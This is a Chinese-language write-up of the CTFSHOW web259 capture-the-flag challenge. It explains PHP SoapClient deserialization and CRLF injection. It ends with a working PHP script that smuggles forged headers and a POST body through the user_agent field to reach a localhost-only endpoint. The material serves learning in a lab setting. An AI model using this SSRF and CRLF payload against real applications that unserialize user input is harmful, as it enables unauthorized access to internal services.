一道CTFSHOW-WEB259的通关笔记,之前刚学到反序列化的时候碰到的一道CTF题,其中涉及的知识都是我没有接触过的,网上相关的技术文章对我来说也比较笼统,很多细节都搞不明白,现在拿出来重新整理思路回顾一下。
flag.php
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);
if($ip!=='127.0.0.1'){
die('error');
}else{
$token = $_POST['token'];
if($token=='ctfshow'){
file_put_contents('flag.txt',$flag);
}
}
通关要求是接受一个http协议请求包,数据包其中的x_forwarded_for头信息为:127.0.0.1,且文中出现了explode(',', $_SERVER['HTTP_X_FORWARDED_FOR'])这段代码,意为将接受到的数据根据逗号来进行分割并存在一个数组当中,然后又使用了两次array_pop($xff);,对数组末尾元素进行去除了两次。再对$ip的值进行判断,
如果是127.0.0.1则进入else,接受一个post的请求,要求提交的数据中有token,其值要等于ctfshow.
那要如何来构造这个数据包并让其传入到flag.php中呢?我们来看一下题目给出的index源码
<?php
highlight_file(__FILE__);
$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();
$vip接受一个字符串并反序列化它,调用其中的getflag函数,很显然,getflag()并不存在。这个时候就要引出PHP中的一个原生类Soapclien。
SoapClient
是 PHP 中用于访问 SOAP 服务的类。通过 SoapClient
类,PHP 可以在 Web 服务之间进行通信,从而实现远程过程调用(RPC)。使用 SOAP,您可以在不同的平台之间共享应用程序和信息,并提供跨语言、跨平台对数据和服务的访问。
WEB服务的三要素:SOAP WSDL UDDI
1.SOAP:SOAP 协议是一种基于 XML 的协议,用于在 Web 应用程序之间进行交互,主要用于 Web 服务。
2.WSDL:是一种 XML 文档,用于描述 Web 服务。
3.UDDI:是一个用于发布和发现 Web 服务的目录服务,它提供了一种标准的方式来描述 Web 服务的元数据信息,并将这些信息注册到 UDDI 目录中。
这里不过多介绍,详细内容可以看:
(61条消息) 关于WEB服务的三要素SOAP WSDL UDDI_qq_37376469的博客-CSDN博客
Soapclient中的__call魔术方法,当访问类中一个不存在的方法时触发,该方法就会被传递给 __call
方法进行处理,并将其转化为一条SOAP请求发送给 Web 服务。Soapclient这个类的构造,分为WSDL模式和非WSDL模式,
WSDL模式是使用WSDL
文件来创建一个SOAP客户端对象,即通过URL地址获得服务描述文件。
例如:
<?php
// 定义要调用的 Web 服务的 WSDL文件 地址
$wsdl = "http://www.example.com/soap-server.wsdl";
// 创建 SOAP 客户端实例
$client = new SoapClient($wsdl);
// 调用服务端的方法
$result = $client->add(2, 3);
// 打印结果
echo "The result is: " . $result;
?>
这里因通关需求我们需要构造自己的SOAP数据包,所以需要使用非WSDL模式,非WSDL模式是直接基于Web服务的函数和参数进行调用,而不是使用WSDL文件来定义服务。
以下是一个示例:
<?php
// 定义Web服务的URL
$api_url = 'http://www.example.com/soap_server.php';
// 定义要调用的函数名和参数
$function = 'add';
$arguments = array('num1' => 2, 'num2' => 3);
// 创建SOAP客户端对象
$client = new SoapClient(null, array('location' => $api_url, 'uri' => $api_url));
// 调用Web服务函数
$result = $client->__soapCall($function, array($arguments));
// 打印结果
echo "The result is: " . $result;
?>
使用非WSDL模式可以构造这个与WEB服务进行交互的SOAP数据包中的具体内容,location(WEB服务地址),user_agent,uri(WEB服务命名空间),uri指定了这个soap协议数据包要具体访问服务内容。因为http协议的解析机制,Web 服务器会逐行解析 HTTP 请求报文和响应报文。
HTTP 协议通过 CRLF
(回车符和换行符)来分隔各行数据,这也是 HTTP 请求和响应报文的基本单元。每个 HTTP 报文都由若干行组成,每行都以 CRLF
结尾,这个符号表示回车和换行两个操作,通常用 "\r\n" 表示。Web 服务器会逐行解析这些报文,处理每一行的具体内容和含义,并根据报文头和报文体的格式和协议规范来进行处理和响应。这里涉及到了CRLF注入的内容。
更详细的内容可以看:
浅入深出谭谈 HTTP 响应拆分(CRLF Injection)攻击(上) - 先知社区 (aliyun.com)
所以我们需要构造的内容就有:
1.X-Forwarded-For:127.0.0.1,127.0.0.1(其实这里三个127.0.0.1也可以,两个的话array_pop会将数组中的最后一个元素弹出并赋值)
2.Content-Length:(string)strlen($post_string)
3.POST数据:token=ctfshow
<?php
$target = 'http://127.0.0.1/flag.php';
$post_string = 'token=ctfshow';
$b = new SoapClient(null,array('location' => $target,
'user_agent'=>'chendi^^X-Forwarded-For:127.0.0.1,127.0.0.1,127.0.0.1^^Content-Type: application/x-www-form-urlencoded'.
'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,
'uri'=> "dwzzzzzzzzzz"));
$a = serialize($b);
$a = str_replace('^^',"\r\n",$a);
echo urlencode($a);
?>
先修改代码在虚拟机上监听测试一下这个数据包,
可以看到我们构造的数据,已经被放到的我们想要的位置。
现在我们可以执行这部分代码,将构造好的序列化字符串传给$vip,然后访问flag.txt即可获取flag。